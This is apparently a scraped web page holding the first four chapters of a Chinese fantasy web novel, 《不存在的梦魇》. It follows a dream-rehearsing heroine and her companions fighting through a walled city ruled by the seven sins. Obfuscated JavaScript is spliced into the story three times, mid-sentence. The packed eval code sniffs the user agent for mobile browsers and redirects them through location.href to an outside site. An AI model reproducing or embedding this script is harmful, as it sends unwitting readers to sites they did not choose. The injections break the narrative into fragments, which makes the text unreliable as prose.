《不存在的梦魇》 1. 第一章 江临歌又醒了。 这是她的第17次重启。 她咳嗽两声,把气管里的灰尘和血腥味都吐出来。随后爬出洞穴,去够到外头雾蒙蒙的光。 这是一个诡异又萧瑟的世界。江临歌踩在大地上,脚底尽是松散的沙土,风一吹卷起粉尘,仿佛在告诉人们这块土地早已失去生命。 眺望远方,一座威严的钢铁城邦矗立于荒芜,银灰色的外壳透着磨砂质感,连路过的风儿都绕路而行。 江临歌在诡异世界流浪六年,她第一次遇到如此雄伟的文明城邦。这对流浪多年的她而言,无疑是一个天大的好消息,她需要一个强大的城邦作为庇护所。 紧接着,江临歌多次演练,想要潜伏进去寻求一个栖息之所,最终都以失败告终。 自从进入诡异世界,她获得了一个实用的能力。每当晚上入眠时,她的梦境会构筑一个与诡异世界完全相同的镜像世界。她可以在梦中演练她未来可能会遇到的情景,哪怕在梦中被杀死——就如她现在这般,仅仅是惊醒罢了。 江临歌正位于城邦乱葬岗周边的一座矮小的庙宇里。庙宇是用石头垒起的洞穴,中间供奉了一个黑黢黢的神像,香烛与红蜡早已燃尽。江临歌是无神论者,也不怕得罪神明,瞧见这洞穴能遮风,便选在这里休憩。 等她把身上的灰尘扑净,乱葬岗的中央蓦然凝聚起星点的光芒,那光芒塑造出人形,接着从人形的表面剥落大小不一的光片,转而铸造出一个活生生的人。 江临歌对此见怪不怪。诡异世界拉取现实世界的人的手段简单粗暴,她已经见过不下17次乱葬岗上诞生新来的人。 她已经历过17次,乱葬岗上出现的人将会是她混入钢铁城邦的得力助手。 新来的人是一留着低马尾的女子,侧耳的发鬓遮住双耳,刘海也长到遮住眉毛。而那人非但不觉得阻碍视线,反而将白袍一甩,伸手握住腰间的剑柄,警惕地感知周围。 江临歌见过许多人,倒是第一次见到道士穿越到诡异世界。 这道士腰间挂着一枚泛着白光的玉佩,与其手中的宝剑相得益彰。 至少在江临歌看来,这道士挺能打的。 她走近,迈过歪七扭八的墓碑,踏在高高低低的坟头上,径直站在那女子的正对面。 江临歌算是看清楚了,这道士是个瞎子。瞳孔全白,面向江临歌时眼神空洞,瞳孔里连反射的倒影都没。 雪亮的宝剑顷刻间飞出,不等江临歌开口,剑锋就抵在江临歌的下巴下。 江临歌僵持不动,甚至能隐约感知到剑刃上的寒气。 “你是谁?我现在在什么地方?”道士问道。 江临歌皮笑肉不笑,生怕道士一不留神,给她的脖子开道口子。 “这是一个诡异世界,你和我都是被‘祂’召唤到此地的‘候选者’,你要是问我更多,我也无从回答。因为我现在连活下去都费劲儿。” 江临歌额角流了几滴冷汗。只见道士腰间的玉佩忽闪,在江临歌说完话时后,渐渐黯淡下去,只留下一层荧荧的微光。 “这说法倒是与我在短视频上刷到的推文有些相似,你不用紧张,玉佩对你没有反应,说明你大抵对我没有威胁。”道士将宝剑收回侧腰的刀鞘。 江临歌沉默片刻,问:“现在外头连道士都刷短视频?” “也有长视频,手机开盲人模式很方便的。”道士有话搭话。 江临歌想了想,问道士:“你刚来这个世界,我们组个队如何,既然你已经确认我对你没有威胁,我们合作双赢,何乐而不为?” 这是江临歌的惯用操作,每次遇到新队员先问组队,她在前边十七次都是如此。 只不过这第十八次,与梦中推演的略微有些不同。 至少她就算梦得再怎么离谱,都不会遇到一个手机开盲人模式用来刷短视频推文的道士。 “这倒是一个不错的提议。”道士双手抱胸,对江临歌说,“小友,吾名为归霞,是金韩山道观的第十八代传人,虽说只是一个门外弟子,但也有些真才实学。” 归霞扶了扶袖子,摆了个拱手礼。 江临歌跟着作揖回去,自我介绍:“我叫江临歌,没什么战斗力,请你谅解。” 她看得到吗?江临歌忍不住想。 等双方都熟悉彼此后,归霞开口:“我们接下来要做什么?” 江临歌转悠眼珠,慢吞吞道:“稍等片刻。” “会有城邦的卫兵来抓我们。” 前17次都是如此。 不等归霞反应,几个武装完备的士兵途径乱葬岗,发现归霞和江临歌。他们持着红外线瞄准枪,让她俩别动。 为首的是一个五大三粗的女人,扛的枪看起来都比别人重一点。 “你们在这里干什么?莫不是老鼠人的手下?”女人吼了她一嘴,“都不准乱动,不然子弹可不长眼。” 经过现代文化的教育,归霞和江临歌都知道被枪指着要举起双手。 一个士兵把归霞的剑薅走。归霞用她看不见的眼睛瞪了那士兵一眼,悄声问江临歌:“他们这是干什么?” “要把我们拉到主城枪毙。”江临歌回答迅速。 “那你怎么一点儿都不着急?”归霞恨不得踹江临歌一脚。 江临歌一副未卜先知的姿态,对归霞自信道:“相信我。” 归霞皱起眉头。她虽然看不见,但是能够感知到每个人的气息,只要是活物都有气息。在她的视角看,是几个人形气焰用枪挟持着另外一个人形气焰走。 要进入主城需要通过森严的戒备,光是入门,就得经过好几道光线扫描,突破一道厚实的铁墙才算进入到城邦的最外层。 城邦内部与外围形成极为强烈的反差。新浇筑的混凝土路面,每隔50m都放置绿植,高楼大厦林立,街道一尘不染。唯独少了路人,以及车来车往的喧闹景观,否则江临歌都要幻视这里是现实世界。 刚进去没多久,街道的一处十字路口面对面站着两波人马。他们大多骑着鬼火摩托,手上拿着刀枪炮,只等领头一声令下就能血拼。 几个巡查的士兵骂骂咧咧道:“今天又是哪个阵营出矛盾了?” “你看旗帜,是怠惰和傲慢。” “啧,这俩阵营偏偏又是火药最多的,我们绕路走。至于这俩可疑人员,先关到拘留所。” 士兵们态度不佳,对两个人连踢带踹。他们对两个人完全不设防备,好像默认她们不会反抗一般。 江临歌问归霞:“你拳脚功夫如何?” “一般,不过放倒这几人,不在话下。”归霞自谦。 “那行,我们动手。” 江临歌话音刚落,一记横踢踹在身旁士兵的膝盖窝,等那士兵跪下后,她一把抽过士兵背着的枪,用枪杆对准士兵后脑猛击。 归霞见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283707|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江临歌动作利索,自然不甘落后,掌心凝聚出一团可视化的乱流,对着进攻的士兵胸膛狠狠一拍,被攻击的士兵直直飞出好几米远。 江临歌瞥了归霞一眼,暗自感叹,这是一般吗? 没有时间吐槽,江临歌开枪击毙了即将进攻的两名士兵,枪枪命中。为首的女人正要开枪,被归霞一掌击晕。 江临歌没管归霞,丢下弹匣耗尽的枪支准备逃走。 归霞紧随其后,不忘教育江临歌:“你刚才是杀死他们了?” 人命关天,即便是归霞也不过是控制好力道弄晕他们而已。 江临歌翻了一个白眼:“不杀他们,死的就是我。何况他们手里也有不少人命,扯平。” “你这人!”归霞思来想去,道家思想素来都是有仇必报,不会有不得杀生的忌讳。 想来江临歌的处境比较危急,归霞也不好多说。 当街杀死了几个巡逻的士兵,整个城邦竟然连警报都没拉响。 因为这座城邦的内部就很乱——“怠惰”与“傲慢”双方人马持着刀与枪血拼,近乎是忘记了这是一座文明的城邦。 血肉横飞,惨叫遍地,可即便如此,他们也依然为自己的领地斗争到死。 与混乱的血拼相对的,是整洁的街道上死气沉沉,完全没有都市该有的模样。 像是上帝的沙盘,他创造出一个完美的城邦,随机抓了些老鼠与蜥蜴,让他们在这沙盘上为自己的领地做斗争。 “下一步做什么?”归霞不懂江临歌的行事逻辑,可是看起来,跟着她走应该没什么大问题。 方才搏斗之中,归霞早已抢回宝剑,如今稳稳当当挂在腰上。 “等着。”江临歌连解释都不解释。 又等?归霞想拔刀砍人。 双方阵营的人死的死,伤的伤,面对同胞的去世,他们却全然不知,仍是癫狂地上前去互相伤害。 在他们打得不可开交之际,一道黑色的、巨型的黑影突然从天而降。强烈的冲击波冲飞躺在地上的尸体、以及正要互相进攻的人。 弥漫着血腥味的尘埃缓缓散去,在两大阵营正中央,赫然出现一只巨大的黑犬。它目光如炬,两耳虎虎生风,皮毛在混沌的光线下有火焰鼓动的效果。 面对这只气宇轩昂的大狗,双方阵营骤然转移目标,将炮口纷纷对准它。 哪知,这头巨犬的皮毛甚至能够抵御炮火的侵袭,火药炸在它如同黑焰的皮毛上,转瞬被它身上隐形的黑火苗吞噬。 黑狗一巴掌拍向地面,顿时七八个人被震得飞起,随后重重摔在地上没了声。 “那是什么?”归霞的双目失明,在她眼中,那只黑犬不过是一团庞大的气焰。 江临歌倒是耐心解释起来:“它是这座城邦的管理员,如果出现阵营之间的内斗,多半是它来平息。” “它不过是受命于人的狗,在它的上头,还有人管理它。” “不过我们今天的运气特别好。”江临歌的目光死死盯着那只黑狗,黑狗将血拼的人全都清场后,同样注意到了不远处的两人。 归霞疑惑:“运气好在哪儿?” 黑犬越走越近,那股威压让归霞下意识握紧剑柄。若是黑狗朝她攻击,她还有还手的余地。 江临歌轻轻一笑,面向那只黑犬。 “今天是它准备叛逃的日子。” “接下来,我们要去勾搭它。” 2. 第二章 黑狗大致有三米高,江临歌沉住气,缓步出现在黑狗的正前方。 她尝试过七八次同样的方法,都能够勾搭上黑狗,不过这方法背后的原理,江临歌至今弄不明白。 “唬子,你还记得我吗?”江临歌叫住黑狗,“你小时候我可是抱过你的。” 黑狗听见江临歌叫她,巨大的爪子垂在地上,歪头看着面前的小人。 “江临歌你干什么?”归霞显然是没搞懂情况,拔剑站在江临歌面前,正对唬子。 黑狗的注意被归霞腰间的玉佩吸引。她俯下身,用鼻子嗅了嗅,温热的鼻息扑在两人身上。 “嗷呜。”她叫了一声。 归霞愣在原地,把剑收了回去,伸手摸了下黑狗的鼻子。 “你认识这个玉佩?”归霞问黑狗。 江临歌瞪大眼睛:“你听得懂她说话?” “听得懂,在山里修炼的时候,曾学过倾听动物的能力。我天生失明,在通灵术方面造诣颇深。” 江临歌问:“那她现在说什么?” “她说。”归霞翻译,“你怎么知道它的名字?” 江临歌沉默。 大概是她在第五次循环的时候匹配到一个能够挖掘出某物关键信息能力的队友,发现这黑狗的名字叫唬子。 而江临歌的长相,据那位队友所说,长得和唬子的第一任主人很相似。 不过后来队友还是被杀了。江临歌只能重启下一次。 “梦到的。”江临歌随口胡诌。 唬子看江临歌的表情变得凝重。她呜咽两声,归霞闻声一跃而上,轻飘飘地落在狗背。 江临歌吹起口哨,捧场:“会轻功?” “自入道起就开始修炼,如今已有小成。”归霞盘腿坐在狗背上,“唬子说要带我们去一个地方,让我坐好。” 见此,江临歌高举双手喊话:“那我呢?我爬上去吗?” 她想要绕到唬子的尾巴上,抓着毛一点一点爬上去。 唬子嫌弃江临歌爬得慢,扭头一口叼着她的外套,把她整个人都拎起来。 两个人都固定好,唬子一个飞跃穿过城邦的边缘。在她的脚下偶尔会有一些巡逻的士兵,她都一巴掌拍扁。 唬子的身影遁入一小块不见光芒的阴影中,等两个人回神,她们已经到达城邦边缘。 用通俗的话来解释就是,她们刚刚位于市中心,现在到达郊区的村头。 和市中心整洁又清冷的环境不同,这里人声鼎沸,熙熙攘攘,从入口到街道皆有行人。 他们大多穿着一件黑色的斗篷,头发包着五颜六色的头巾,面容憔悴,偶尔和别人交谈时挤出客套的微笑。 唬子把江临歌放下。刚才就唬子飞檐走壁的劲儿,差点没把江临歌脸都吓白,因为她和唬子固定的东西只是一件脏兮兮的军绿色外套。 归霞向唬子道了声谢,从狗背上下来,还不忘拍拍江临歌的后背。 “唬子说我们藏在这里不会被人发现。” 江临歌喘着气问:“那唬子怎么藏?” 唬子用鼻子呼噜两声,算是回答江临歌的问题。归霞听着唬子的音调,对江临歌解释:“她说,她罢工了,等老板派人来杀她。” “来一个人她杀一个。” 也不知这城邦的高层是什么神人,聚众斗殴让一只狗来管理,等狗跑了非但不去抓回来,反而干脆杀死。 唬子趴在路口休息,江临歌和归霞顺着小道,往里走去。与市中心不同,这郊区的路多半是泥路,周边零星站着些叫卖的小贩。售卖的东西很简陋,一些不知道什么生物的肉,还有价格堪比天价的纯净水。 江临歌见怪不怪,穿过人挤人的街道,走到更深处的居民区。 归霞跟在她身后,感受周围死气沉沉的氛围。 “江临歌,这里的人,怎么身上的气息环抱着一层漆黑的雾气。” 与街区相对的,居民区多半是卧倒在墙壁边上的难民。男女老少皆有,大多双眼无神地注视地面。 “他们被黑雾污染了。”江临歌说。 诡异世界最危险的并不是寸草不生的荒芜,而是无时无刻都在威胁生命的黑雾。黑雾像是沙尘暴,有规律的运动时间,会根据风流的动向聚集和消散。在平原地区,黑雾的密度比较低,因此人们就会在这里搭建起庇护所。 据江临歌了解,越靠近这个世界的边缘,黑雾的浓度越高,甚至到了能够瞬间杀死人的程度。 “如果在某次黑雾污染中没能好好躲藏,就会像他们这样,变得木讷呆板,甚至丧失掉一些语言功能。”江临歌用脚碰了碰路边的一个感染者,他没理会江临歌,而是傻傻地继续低着头。 归霞看不见那人的表情,可这黑色缠身的气焰在原本的世界,那可是绝症之人才会得的。 归霞轻轻叹一口气后感慨道:“难道这黑雾就没有治疗的方法,只能让他们自生自灭吗?” 江临歌瞄了归霞一眼,她将目光投向不远处的一个穿着灰色风衣的女人身上。那女子看着三十岁上下,带着厚重的黑框眼镜,头发乱蓬蓬的,脚底踩着裹满泥污的运动鞋,连裤脚都挂上泥点。 “你看得到那个站在那儿的女人吗?”江临歌问归霞,“她没有被黑雾污染。” 那是自然。在形形色色污染程度不一的人群中,只有一人的气焰洁白如玉。 “她是这村子的医师,能够缓解黑雾对人的影响。不过医术有限,顶多是让黑雾不再继续侵袭身体,无法根治。” “就这种程度,已经是这群居民能够获得的最佳治疗。” 江临歌事无巨细地解释,仿佛她曾经在这块土地生活过一般。 归霞觉着奇怪,询问:“你来过这里?” “在梦里。”江临歌说了和之前一样的话。 “我有一个特殊能力,能够在睡梦中推演未来可能发生的事情。我的梦是一个和诡异世界一比一还原的镜像世界,我在梦里经历过的事情都能在诡异世界找到原型。” “我在梦里见过那个女人。也见过唬子。” 归霞明白,如此便解释江临歌为何老让她等一等,随后未卜先知地预判接下来可能发生的事情。 灰色风衣女忽然走到归霞身边,她留有厚重的黑眼圈,都被眼镜挡住。她问归霞:“你的眼睛是黑雾伤害的吗?” “不是,我天生失明。”归霞回应。 那女人懊恼地摇摇头:“如果是黑雾污染,我还有能让你复明的手段,天生的……我没有办法。” 归霞环顾满目疮痍,又把正脸投向面前这无瑕的医者,斗胆开口:“请问这位女士,请问您这医术是自哪里学习的?我想我能看到这黑雾的影子,应当也能学习如何祛除黑雾的方法。” 女人怔住,上下打量归霞,操着懒洋洋的声线开口:“我是来自于异世界的候选者,看你的样子,应该也是。” “我曾经刚到这个世界时,遭到黑雾的攻击。是一名身着白大褂的女子拯救了我,自我恢复后,我就有了能够控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江临歌说,这是她的能力看到的。 孟书孔秒懂。 孟书孔能够在这块地方长久行医,并不是她真的有高超的医术,除了原本世界的一些有关于伤口的应急处理与除菌知识,针对黑雾的诊疗方法她顶多算是一知半解。 因为她和江临歌一样是候选者,拥有一些特殊的能力。 她的能力最开始,是通过人们流露出来的情绪捕捉她们产生这段情绪的记忆。当伤患产生悲伤与痛苦的情绪后,她能够根据情绪看到患者受伤时的全部记忆,对于医生来说,是一个顶好的能力。 不过这点能力对于黑雾而言完全不够看。 孟书孔曾经受到黑雾侵蚀,暂时失去了思考能力,受到恩人拯救之后,她解锁了一个深化的能力。 能够安抚人们的情绪,甚至起到催眠的作用。当进入催眠状态时,她能够稳固住黑雾不去侵蚀人的大脑。 与其说是医术,倒不如说是黑雾痊愈后的一个免疫性能力。 孟书孔也见过其他感染黑雾的候选者,感染黑雾后,他们就丧失能力的控制权,变成木讷的傀儡。 特殊能力对于候选者来说是一个身份的象征,更是代表他们有在诡异世界生存的能力。 多数情况下,不会有人故意散布自己能力的虚假信息,用来恐吓其他候选者。 孟书孔望向江临歌,神情不变:“那我怎么才能活下去?” 江临歌摸着下巴,把目光投向归霞。 “那要看归霞会不会先一步死于你。” “如果她能活下来,你也能。” 3. 第三章 在江临歌的前17次重启中,没有一个队友能够活过追杀。唬子叛逃后,无论有没有和江临歌呆在一块,追杀的士兵都会来郊区巡逻。 追兵看到江临歌和她队友没有被黑雾污染,又发现平民区有一个赤脚医生不知疲倦地治疗基层群众。 于是动手把几个人都杀了。 理由是什么,江临歌至今没有想明白。本来没有破局,她不应该如此急切在现实里行动,奈何现实不是梦境,她会饿死,会冻死,会被路过的不知名生物袭击。 现实会告诉她,不能够在做好万全的演练后再行动,她没有那么多时间。 “你说得那么信誓旦旦,你敢说是谁来杀我吗?”归霞对江临歌的能力半信半疑,她更怀疑有人竟然能杀她。 江临歌竖起眉毛,认真道:“有两个可能。” “一个是代表贪婪阵营的执行官,她拥有能够吸血的利爪,并且被她的爪子伤到之后,人会陷入不可控的暴走。” “一个是代表忮忌阵营的执行官,他会发掘你记忆中最珍视的东西,然后制造幻象,毁坏它。当你因为珍视之物被毁,产生内心波动时,你的身躯就会爬上一层难以清除的毒液,直到腐蚀透你的骨肉。即便内心没有被击垮,他也能用毒液攻击。” 江临歌说完,喉咙顿了顿。 “最坏的情况是,两个人都来了。” 归霞她相信自己的运气永远是爆棚的那一个。 不止来了两个,来了三个。 孟书孔认识第三个人。是一个身高两米,体态健硕魁梧的女性。她是代表暴食阵营的执行官。她会吞噬人的所有道德,吞噬之后,人会感到前所未有的饥饿。在这资源贫瘠的荒芜中,人的饥饿最终演变成自相残杀。 执行官出现在唬子的周身,贪婪女伸出利爪,马上就要在唬子的皮毛上留下抓痕。唬子一个跳跃往后闪,忮忌男紧随其后,将毒液凝聚在自己身上,泼洒而出。 唬子不敢在此周旋,明哲保身,走为上策。执行官闯入郊区的居民街道,一群形同丧尸的难民在毒液中化为泡影。 唬子见状,朝天吼了一声,让忮忌男不准攻击难民。 暴食女手里捧着一把巨型的剑,在人群中撒下恶种,移除他们的道德。最先开始互相攻击的,正是被黑雾感染的、无法正常思考的病患。 “这……这怎么赢?”孟书孔她无力地望向前方,她见识到三位阵营代表的实力,一面是担忧自身,一面是担忧归霞的处境。 江临歌脚边是互相撕扯骨肉的难民,她没理会难民,而是去肉铺顺走一把锋利的剔骨刀。 归霞她早早通过感知体会到三位执行官的强劲,耳边充斥着群众的哀嚎。她此刻又有些庆幸自己天生双目失明,无法见证人间疾苦。 “她们的目标是唬子,只要唬子还在与她们周旋,那我们就有见缝插针的可能。” 归霞抽出腰间的宝剑,剑光闪烁,一股凌冽的气势披散。 她首先要干掉的,是那个到处喷毒的忮忌男。紧接着是暴食女,把这两人干掉后,群众就不会受到威胁。至于贪婪女,只要不被她的爪子碰到就行。 三人站在居民区的房顶上,形成一个三角形围住唬子。唬子仰天长啸,犹如黑焰的皮毛飞舞,三人同时飞跃而且,将手中的武器对准唬子。 唬子看准时机,发出一记震耳的啸天嚎,强烈的冲击波自半空凭空生成,紧接着凶狠冲向三位执行官。 归霞见状,三两下飞跃上屋檐,顺着冲击波产生的波纹效果,竟踩着波纹的边缘飞向更高处。 她运气,将自己推向唬子的正上方,凑巧在飞跃的中途,遇上执行官其一,忮忌男。 那男人阴险得狠,知道自己最有可能会先被杀死,早早将毒液裹满自己的全身。 “雕虫小技!”归霞以气运剑,剑在触及到男人躯体的一瞬破开毒液防护,随后直直刺入忮忌男的胸膛。 不等忮忌男反应过来,归霞早已拔剑,将剑刃朝向男人的脖子,一抹,男人的躯体随着重力坠落。头颅被剑锋一顶,刺穿在剑身,像是一颗冒着红液的棒棒糖。 唬子发出兴奋的叫声,一跃而起,对准暴食女挥舞下一巴掌。与此同时,贪婪女溜到唬子的身后,想要趁乱偷袭。 归霞早已注意到,将剑锋上的头颅猛猛朝贪婪女摔去,那头颅可是还残留着毒液,直接命中必定皮开肉绽。 解决完偷袭的贪婪女,归霞稳稳落地。将残留血迹的宝剑一挥,血溅三尺,宝剑焕然一新。 见证战斗过程,江临歌忍不住吹起口哨。她没想到归霞那么能打。 她将剔骨刀收在后腰,用皮带固定,转而去把孟书孔拉离难民群。 暴食女还没死,难民们还在互相啃食。未被黑雾侵蚀,留有理智的人早就跑没影了,只有孟书孔这家伙还呆呆站着,想着如何救治她的病人。 暴食女虽然身形庞大,但是却意外的灵巧。她躲过唬子的攻击,站在一户人家的阳台。 “我就说那鸡男没点用处,捉你这只小黑狗,还得派我饕母出场!” 饕母举起她的重剑,凌空一跃,重剑高过头顶。唬子敏锐察觉饕母攻击迅猛,向后翻滚。 重剑落地,天崩地裂,整个地面都为之颤抖。 江临歌张大眼睛,看到饕母的攻击方式,不由感叹一句:“好帅。” 孟书孔骂她:“你帮哪边的?” “当然是霞姐那一边的。”江临歌起身,小跑向前,方才被忮忌男的头颅击中,贪婪女的腹部彻底被腐蚀,肠子流了出来。 看到江临歌靠近,哪怕她已经奄奄一息,也要提起她的利爪。 江临歌心一横,一脚踩在她已经受伤的腹部,近乎是将她的内脏踩碎。她没有虐待敌人,而是将剔骨刀用力刺入女人的颈部,戳断她的颈椎,杀死她。 孟书孔露出嫌弃的神情。她寻思她当年读书面对大体老师都没现在这么恶心。 江临歌把靴子从贪婪女的腹部抽出来,滑溜溜的内脏流了一地。在贪婪女的尸体旁,是方才那个男人的头颅,已经碎了一半,眼珠子和牙齿暴露在外。 饕母与唬子的战斗僵持不下,重击伤害面对巨物,双方都清楚各自的优缺点。 饕母的强劲之处在于,每次她的重击落空之后,她甚至能够在短时间内调整好状态,进行下一段攻击。 在饕母的脚底,早已布满坑坑洼洼的凹陷,土地看上去都沉降了几厘米。 “她们的攻击范围太大了,我无法近身。”归霞战术性撤退,回到江临歌和孟书孔身边。 这是唬子她自己的战斗。 饕母早已忘却自己是暴食的代表人,她现在的满眼只有杀戮。唬子通过几轮闪避摸清楚饕母的攻击规律,正在规划如何回击。 正当饕母又进行一个大跳位于半空中时,唬子抓住了机会。她一直闪避就是让饕母进 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“我倒是一直有一个目标。”孟书孔说,“我想找到当年救助我的医师。只可惜这边的群众需要我救助,我一直舍不得离开。” 江临歌被唬子放下来,她目光熠熠投向孟书孔,问:“为什么这里只有你一个医师?” “被领导人垄断了。”孟书孔将这个城邦的情况说出,“在这个城邦,被分为七大阵营,分别对应七宗罪。而愿意为自己的阵营卖命效劳,并且毫无道德底线的人才能够进入城区。” “第一要求是健康,第二要求是强壮。为了能够让自己的阵营在血拼中取得胜利。” “赢得胜利的阵营才能获得一些生存的必备资源。” 归霞打岔:“那这个城邦的资源到底是谁掌握的?为什么要放任自己的子民自相残杀?” 孟书孔针对归霞的问题做出进一步解释:“资源被高层拥有强大力量的人大范围垄断。那些人就如你们所见,或多或少拥有特殊能力,比一般人强大不少。” “我被医师从死亡线边缘拯救后,她暂时把我安置在这座城邦,因为这里拥有较为先进的医疗技术。但是等我完全恢复了,那名医师也没来见过我。而城邦的高层看我有点能力,于是把我派遣到平民区,安抚这些毫无资源的边缘群体。” “我也不清楚在这乱世,医师是否还活着,但是我希望我能寻找到医师留下的痕迹,继承她治疗黑雾的精神。” 孟书孔说完,将目光迫切地投向归霞。 归霞垂头沉思,得出结论:“也就是说,如果想要让你安心去找医师的踪迹,拯救更多的人,那我们就要从高层突破资源垄断。” “天地不仁,以万物为刍狗。圣人不仁,以百姓为刍狗。” “我看这圣人,也该退位了。” 归霞举剑,问面前的同胞。 “你们怎么看?”归霞先将剑指向孟书孔。 孟书孔点点头,回答:“让群众们解放。” 归霞的剑指向唬子。 唬子说,她要把她前主人碾碎。 最后,归霞的剑指向江临歌。 “都杀了。”江临歌回应。 这该死的城邦可让江临歌吃了不少苦,最初她还妄想在这城邦寻求一个庇护所,现在再看,还不如推翻重建。 万物云云,各复其根。 4. 第四章 主城区是一个环形城邦,像是一块切好的披萨,将七宗罪分成七个扇形领地。至于边缘的平民区,那是披萨的卷边,每块披萨都有卷边。 而这个城邦最中心的部分,就是披萨的圆心,那儿耸立着一座冲天高塔,即便是最边缘的地区也能看得一清二楚。 从地面上直接入侵,即便没有被执行官之类的人阻拦,大概率也会被这座城邦的高层发现。 历经过三位执行官的洗礼,整个街区一片萧条。活下来的人纷纷溜走,苟延残喘的人躺在地上等死,已经逝去的人随意倒在地上无人问津。 对于这片区域的人来说,黑雾是侵蚀他们精神的慢性病,执行官的残暴是让他们逝世的急症。 这座城邦本就病入膏肓。 江临歌在穿越前看古装剧时,总喜欢看那些劫富济贫的大侠,本以为自己这辈子都没机会,托归霞的福,她能当大侠脚边的二把手。 孟书孔在这座城邦生活过,她自告奋勇给出进入中心的方法。 城邦中心的用水是很庞大的,越往外,水就越稀缺。在边缘的群众直接过滤城中心用过的脏水为生。 下水管道位于这座城邦的正下方。由于土地的特殊性,高层并没有规划管道的污水分类,所有的污水统一用一个管道排往城外。 管道直径为五米,比唬子还大上一圈。 孟书孔和归霞都能坐在唬子的背上,但是江临歌不可以。唬子喜欢叼着她,江临歌为此特地把外套的拉链拉紧,生怕被唬子一个回头甩下去。 管道深处需要留意的不单单是光源,还有氧气含量。归霞几乎每隔一小段距离就用剑把管道内壁破开,一些工程填补的缝隙藏着些空气。 直到她向上破开一道口子发现上头是压实的沙土,怕开更大引起坍塌,又向下破开一道口子。 紧接着那道口子由于唬子过于庞大的重量,直直撕裂开,几人坠入一个空旷的平地。 摔得最惨的是唬子,其他人不是摔在唬子身上,就是被唬子叼着没碰到地面。 观察四周,空旷的平台周围垒起低矮的土坯房,身着杂草斗篷的人蹲在门前烤火照明。此地空间很大,头顶距离管道有十几米的高低,前后是通透的道路,这里是一个隐秘的洞穴文明。 看到从管道坠下黑影,原住民好奇,起身查看。这群原住民的长相真是吓得人一哆嗦。大多脸上或者身上有大面积的黑色斑纹,眼睛全黑,看东西时整个眼球都泛着油亮亮的高光。 “你们是谁?是教主要杀我们吗?”他们颤颤巍巍说着,手里拿着木叉子,拿着荆棘条,或者是一根已经生锈得不成样子的铁锹。 孟书孔擅长与人打交道,她扫过这群居民,大概能猜到这是一群被黑雾侵蚀的人。 不止大脑,连躯体都变得污浊。 “我是外圈平民区的医生,因为平民区遭受执行官们的袭击,我们干脆去主城讨要一个说法。”孟书孔对他们解释。 黑雾侵蚀大脑的症状很明显,最显著的特征就是反应迟钝,与人沟通困难。 那群穴居人杵在那儿不动,孟书孔硬是解释三遍他们才反应过来。 随后一个年轻人跑到矮房子里,扶持出一个老人。老人拄着拐杖,却只有脸上留有一小块黑纹,她的眼睛是清亮的,黑白分明。 “孟医生,是你吗?”她蹒跚地走到孟书孔面前,看到孟书孔带着眼睛的脸,不自禁晃了晃头,“快去把屋子里头的东西给她拿出来。” 孟书孔她看到老人似乎认识她,疑惑道:“您认识我吗?” 老人吸了一口气,把目光投向她身后的其他同伙。半晌,才缓缓开口:“之前,略微听闻过你的事迹。” “我想这座城邦愿意为我们治愈的医师,恐怕也只剩你了。” 有人拿出一叠发黄的纸张,上面写满密密麻麻和爬虫一样的字迹。 那人将那一叠纸递交给老人。 老人则转而交给孟书孔。 “这是在你之前,有一位医生留下的手稿。只可惜我这脑子被黑雾侵蚀,已经想不起当时医生交代的事情,甚至连她长什么样子我都不太记得。” 孟书孔翻开,她一眼就认出这是另一个世界的医生才会用的字体。普通人看不懂,她曾是市医院的实习医师,能够读懂其中的含义。 头几页都是用的药物,如何缓解病情的内容。往后则是被黑雾感染后的应急处理,如何用手术控制黑雾蔓延,最后一页是有关于黑雾的诊疗方法。 用已经得到控制的黑雾去反向侵蚀新生成的黑雾。 但是如何控制黑雾,手稿里没说。 中间有一部分缺页。 手稿结尾有该医生的署名,单一个字“琪”。 孟书孔总觉得这医师有些熟悉,她怀疑这位“琪”是否就是让她从黑雾中痊愈的医师。 因为某些不可抗力,医师失踪,如何治愈黑雾的方法空缺,留下一群迟钝半傻的感染者。 不过有趣的是,这份手稿留有医师曾经所在的研究所的一些讯息,包括研究所的地址,以及这一块地区的地图。 孟书孔像是发现了什么新大陆,把地图拿回来给几个队友看。 归霞看不见,唬子不识字……江临歌,她说她初中读完还没上高中就进来,看不懂。 孟书孔觉得寻人路漫漫。 不过江临歌倒是愿意学,孟书孔教了她几下,她就自己和唬子研究地图去。 归霞算了,她看不见。归霞无奈坐在地上打坐修养。 孟书孔和唯一有沟通能力的老人继续聊。大致了解这座城邦的起源与变迁。 最开始,进入诡异世界的人全都有特殊的能力,是诡异世界的“本源”给来访者的赠礼。结果是没有任何一个来访者能够打败本源或者找到回去的方法。 他们用自己的能力在诡异世界创造了文明,和同胞们繁衍后代,在这一片荒芜中安安稳稳度过余生。 随着城邦的壮大与文明的形成,总归是出现了人类社会中不可避免的阶层矛盾与资源分配问题。 第一批来访者他们拥有能力,但是他们的后代不一定有,只有一部分人能在出生后获得属于自己的专属力量。 自此,有能力的人与没能力的人划分出两个鲜明的阶层。 随着时代的更迭,逐渐形成现在的资源高度密集的城邦。来访者后代的子孙拥有能力的概率一直在降低,直到现在已经完成了“优质基因”与“劣质基因”的分层。 能力者与能力者诞生的孩子获得特殊能力的概率稍微大一点,无能力者的孩子几乎不可能获得特殊能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 